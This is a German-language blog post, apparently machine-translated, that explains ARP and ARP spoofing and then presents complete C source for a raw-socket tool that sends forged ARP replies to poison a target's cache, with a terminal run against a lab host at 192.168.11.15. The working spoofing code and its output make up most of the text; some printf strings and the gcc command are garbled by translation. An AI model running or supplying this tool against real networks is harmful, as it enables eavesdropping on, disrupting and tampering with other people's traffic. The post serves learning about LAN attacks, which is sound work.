Einführung

Ich habe ARP-Spoofing ausprobiert, einen Angriff, der die Eigenschaften von [ARP (Address Resolution Protocol)] verwendet (https://ja.wikipedia.org/wiki/Address_Resolution_Protocol).

Umgebung

Ubuntu 18.04 LTS
VS Code
gcc version 7.3.0

ARP Erstens dient ARP (Address Resolution Protocol) zum Zuordnen von IP-Adressen zu MAC-Adressen. Angenommen, ein allgemeines LAN, beispielsweise wenn Host A mit dem Router kommunizieren möchte, sendet Host A eine ARP-Anforderung unter Verwendung der IP-Adresse (IP-R) des Routers.

図1.png

Wenn der Router die Anforderung empfängt, gibt er eine ARP-Antwort an Host A zurück, um seine MAC-Adresse zu übermitteln.

図2.png

Wenn Host A die ARP-Antwort empfängt, aktualisiert er seinen ARP-Cache und kann mit dem Router kommunizieren. 図3.png

ARP-Spoofing

Ein Angriff, der diese ARP-Eigenschaft nutzt, ist ARP-Spoofing. ARP hat die Eigenschaft, bei zwei Hauptangriffen eingesetzt zu werden.

--Stateless Protokoll

Die Identität des Absenders kann nicht bestätigt werden

Selbst wenn ein ungültiges ARP-Paket empfangen wird, wird der Cache von oben aktualisiert.

Angenommen, es gibt Angreifer im selben Segment. Ein Angreifer sendet eine ARP-Antwort an Host A unter Verwendung der IP-Adresse des Routers, um den Cache von Host A in einen böswilligen Cache umzuschreiben.

図4.png

Wenn Host A ein fehlerhaftes ARP-Paket empfängt, aktualisiert es den Cache und das ARP-Spoofing ist erfolgreich.

図5.png

Durch erfolgreiches ARP-Spoofing können alle Host A-Pakete den Angreifer erreichen. Infolgedessen der Angreifer

Kommunikationsabhören
Kommunikationsstörungen
Manipulationen an der Kommunikation

Solche Aktionen sind möglich.

ARP-Spoofing-Experiment

Es gibt verschiedene Tools für ARP-Spoofing. ARP-Spoofing kann einfach durch Umschreiben der Quell-IP-Adresse des zu sendenden ARP-Pakets ausgeführt werden. Daher ist die Implementierung meiner Meinung nach relativ einfach.

Also habe ich es tatsächlich geschrieben. (Grob)

`arpspoofing.h`


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <net/if.h>
#include <sys/ioctl.h>

#define IP_CHAR_LEN 15

//Erstellen eines ARP-Sockets
int create_arp_sock();

//IP vom Schnittstellennamen,MAC-Adresse abrufen
void set_if_info(int sock, char *if_name, char* if_ip, unsigned char* if_mac);

//Socket-Adresse
void set_sockaddr(struct sockaddr_ll *sll, char *if_name);

//ARP-Einstellungen
void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op);

//MAC-Adresse des Zielhosts abrufen
void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac);

//Konvertieren Sie die Zeichenfolge in die MAC-Adresse des vorzeichenlosen Zeichens
void char2mac(char* macadd, unsigned char* mac_str);

//Ausgabe der MAC-Adresse
void print_macaddr(unsigned char* macaddr);

//Führen Sie ein ARP-Spoofing durch
void arp_spoofing(char *argv[]);

`arpspoofing.c`


#include "arpspoofing.h"

int create_arp_sock()
{
    int arp_sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (arp_sock < 0)
    {
        perror("arp sock");
        printf("errno: %d\n", errno);
        return 1;
    }
    return arp_sock;
}

void set_if_info(int sock, char *if_name, char* if_ip,unsigned char* if_mac)
{
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_addr.sa_family = AF_INET;
    memcpy(ifr.ifr_name, if_name, 6);
    
    //IP-Adresse erhalten
    if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
    {
        perror("ip addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_ip, inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr), IP_CHAR_LEN);

    //MAC-Adresse abrufen
    if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0)
    {
        perror("mac addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_mac, ifr.ifr_hwaddr.sa_data, 6); 

}

void set_sockaddr(struct sockaddr_ll *sll, char *if_name)
{
    memset(sll, 0x0, sizeof(sll));                  
    sll->sll_family = AF_PACKET;                    /*Immer AF_PACKET */
    sll->sll_protocol = htons(ETH_P_ARP);           /*Protokoll der physikalischen Schicht*/
    sll->sll_ifindex = if_nametoindex(if_name);     /*Schnittstellennummer*/
    sll->sll_halen = 6;                             /*Adresslänge*/
    memset(&sll->sll_addr, 0xff, 6);                /*Adresse der physischen Schicht*/
}

void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op)
{
    memset(arpPacket, 0x0, sizeof(arpPacket));
    arpPacket->arp_hrd = htons(1);                  /* Format of hardware address.  */
    arpPacket->arp_pro = htons(ETHERTYPE_IP);       /* Format of protocol address.  */
    arpPacket->arp_hln = 6;                         /* Length of hardware address.  */
    arpPacket->arp_pln = 4;                         /* Length of protocol address.  */
    arpPacket->arp_op = htons(op);                  /* ARP opcode (command).  */

    memcpy(arpPacket->arp_sha, s_mac, 6);                       //Quell-MAC
    inet_aton(s_ip, (struct in_addr *)&arpPacket->arp_spa);     //Quell-IP
    memcpy(arpPacket->arp_tha, t_mac, 6);                       //Ziel-MAC
    inet_aton(t_ip, (struct in_addr *)&arpPacket->arp_tpa);     //Ziel-IP
}

void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac)
{
    //Wiederholen Sie diesen Vorgang, bis die MAC-Adresse der angegebenen IP-Adresse aufgelöst werden kann
    while(1)
    {
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
            0, (struct sockaddr *)&sll, sizeof(sll)) < 0){
            perror("sendto");
            printf("errno: %d\n", errno);
            break;
        }
        char buf[256];
            memset(buf,0x0,sizeof(buf));
            int arp_size = recvfrom(arp_sock, buf, sizeof(buf), 0, NULL, NULL);

            //Wenn ein ARP-Paket ankommt
            if(arp_size < 0) {
                printf("errno: %d\n",errno);
            }else{
                struct ether_arp *ether_arp = (struct ether_arp*) buf;
                char ip_address[IP_CHAR_LEN];
                memcpy(ip_address, inet_ntop(AF_INET, ether_arp->arp_spa, ip_address, IP_CHAR_LEN), IP_CHAR_LEN);

                //Wenn Sie die MAC-Adresse der angegebenen IP-Adresse erhalten können
                if(strcmp((t_ip), ip_address) == 0){
                    memcpy(t_mac, ether_arp->arp_sha, 6);
                    printf("%MAC-Adresse von s-> ", t_ip); 
                    print_macaddr(t_mac);
                    break;
                }else{
                    printf("%Erfassen der MAC-Adresse von s...\n", t_ip);
                }

            }
        sleep(3);
    }
}

void char2mac(char* macadd, unsigned char* mac_str){
    char* mac = macadd;
    char temp[3];
    int i;
    for(i = 0; i < 6; i++){
        temp[0] = mac[i * 3 + 0];
        temp[1] = mac[i * 3 + 1];
        temp[2] = 0x00;
        mac_str[i] = strtol(temp, NULL, 16);
    }

}

void print_macaddr(unsigned char* macaddr) 
{
   printf(" %02x:%02x:%02x:%02x:%02x:%02x\n",macaddr[0],macaddr[1],macaddr[2],macaddr[3],macaddr[4],macaddr[5]);
}


void arp_spoofing(char *argv[])
{

    char if_ip[IP_CHAR_LEN];    //Meine IP-Adresse
    unsigned char if_mac[6];    //Meine MAC-Adresse
    char t_ip[IP_CHAR_LEN];     //IP-Adresse des Zielhosts
    unsigned char t_mac[6];     //MAC-Adresse des Zielhosts
    char fake_ip[IP_CHAR_LEN];  //IP des Hosts, für den Sie sich ausgeben möchten
 
    //Erstellen eines ARP-Sockets
    int arp_sock = create_arp_sock();

    //IP vom Schnittstellennamen,MAC-Adresse abrufen
    set_if_info(arp_sock, argv[1], if_ip, if_mac);

    //Socket-Adresse
    struct sockaddr_ll sll;
    set_sockaddr(&sll, argv[1]);

    //binden
    if(bind(arp_sock, (struct sockaddr*)&sll, sizeof(sll)) < 0) 
    {
        perror("bind");
        printf("errno: %d\n",errno);
        return;
    }

    //Arp-Paket-Einstellungen(Zum Abrufen der MAC-Adresse des Zielhosts)
    char2mac("00:00:00:00:00:00",t_mac);
    memcpy(t_ip, argv[3], IP_CHAR_LEN);
    struct ether_arp arpPacket;
    set_arp_header(&arpPacket, if_mac, if_ip, t_mac, t_ip, ARPOP_REQUEST);

    //MAC-Adresse des Zielhosts abrufen
    get_t_mac(arp_sock, arpPacket, sll, sizeof(sll), t_ip, t_mac);

    //Arp-Paket-Einstellungen(Für ARP-Spoofing)
    memcpy(fake_ip, argv[2], IP_CHAR_LEN); 
    set_arp_header(&arpPacket, if_mac, fake_ip, t_mac, t_ip, ARPOP_REPLY);
    int count = 0;

    //ARP-Spoofing
    printf("-------------------------------------------\n");
    printf("Sender MAC : "); print_macaddr(if_mac);
    printf("Sender IP  : %s \n", fake_ip);                             
    printf("Target MAC : "); print_macaddr(t_mac);
    printf("Target IP  : %s \n", t_ip);      
    printf("-------------------------------------------\n");

    while(count < 3){ 
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
                    0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
        {
            perror("sendto");
            printf("errno: %d\n", errno);
            return;
        }
        printf("%s is at", fake_ip); print_macaddr(if_mac);
        sleep(3);
        count++;
    }

    close(arp_sock);
    return;
}


int main(int argc, char *argv[])
{
    //Argumentprüfung
    if(argc < 4){
        printf("usage: <if name> <src IP> <dst IP> \n");
        return 0;
    }

    printf("start arp spoofing...\n");
    arp_spoofing(argv);
    printf("arp spoofing succeeded!\n");

}

Lassen Sie es uns diesmal als Beispiel ausführen, wenn ein Angreifer vorgibt, "192.168.11.1" gegen einen Host von "192.168.11.15" zu sein. Die IP- und MAC-Adressen des Angreifers lauten zu diesem Zeitpunkt wie folgt.

IP-Adresse des Angreifers	MAC-Adresse des Angreifers
192.168.11.16	00:0c:29:2d:52:d6

`Terminal`


$ gcc -o arpspoofing.c
$ sudo ./arpspoofing ens33 192.168.11.1 192.168.11.15
start arp spoofing...
192.168.11.15 MAC-Adressen->  <192.168.11.15 MAC-Adressen>
-------------------------------------------
Sender MAC : 00:0c:29:2d:52:d6
Sender IP  : 192.168.11.1
Target MAC : <192.168.11.15 MAC-Adressen>
Target IP  : 192.168.11.15
-------------------------------------------
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
arp spoofing succeeded!

Lassen Sie uns den ARP-Cache von "192.168.11.15" überprüfen.

Es wurde sicherlich neu geschrieben und es wurde bestätigt, dass dieselbe MAC-Adresse im ARP-Cache registriert war.

Zusammenfassung

ARP-Spoofing ist beängstigend, da es eine große Bedrohung für die einfache Ausführung darstellen kann.

[LINUX] Ich habe ARP-Spoofing ausprobiert